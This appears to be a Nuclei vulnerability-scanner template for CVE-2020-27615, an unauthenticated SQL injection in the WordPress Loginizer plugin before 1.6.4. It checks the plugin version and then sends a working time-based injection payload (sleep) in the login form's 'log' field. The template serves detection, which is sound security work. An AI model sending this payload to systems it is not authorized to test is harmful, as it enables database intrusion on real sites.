WordPress Loginizer < 1.6.4 – Unauthenticated SQL Injection via `log` Parameter

id: CVE-2020-27615

info:
  name: WordPress Loginizer < 1.6.4 – Unauthenticated SQL Injection via `log` Parameter
  author: intelligent-ears
  severity: critical
  description: |
    The Loginizer plugin before 1.6.4 for WordPress allows SQL injection (with resultant XSS), related to loginizer_login_failed and lz_valid_ip.
  impact: |
    Unauthenticated attackers can execute SQL injection to extract database contents and execute malicious scripts, potentially compromising the entire WordPress installation and all user data.
  remediation: Fixed in version 1.6.4
  reference:
    - https://web.archive.org/web/20210321225040/https://wpscan.com/vulnerability/10441/
    - https://www.zdnet.com/article/wordpress-deploys-forced-security-update-for-dangerous-bug-in-popular-plugin/
    - https://wpscan.com/vulnerability/10441
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-27615
    cwe-id: CWE-89
    epss-score: 0.53619
    epss-percentile: 0.98865
    cpe: cpe:2.3:a:loginizer:loginizer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: loginizer
    product: loginizer
    framework: wordpress
    publicwww-query: "/wp-content/plugins/loginizer"
  tags: wpscan,cve,cve2020,wordpress,wp-plugin,wp,loginizer,sqli,time-based,vkev,vuln

variables:
  password: "{{rand_base(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/loginizer/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Loginizer')"
          - compare_versions(version, '< 1.6.4')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        @timeout 10s
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check;

        log='%2cip%3dLEFT(UUID()%2c8)%2curl%3dif(1%3d1%2csleep(7)%2c0)%23&pwd={{password}}&wp-submit=Login&redirect_to=&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'contains_all(body,"wp-admin","user_login")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100a291376dc18881baf4631dd219f76dc665d0ccc1f6700f05da73f43dc6dccd540220277bcd4cb3fab62c350cf2ce8ea11bbf33dba2a0ede1c9b58c627a18829ff92b:922c64590222798bb761d5b6d8e72950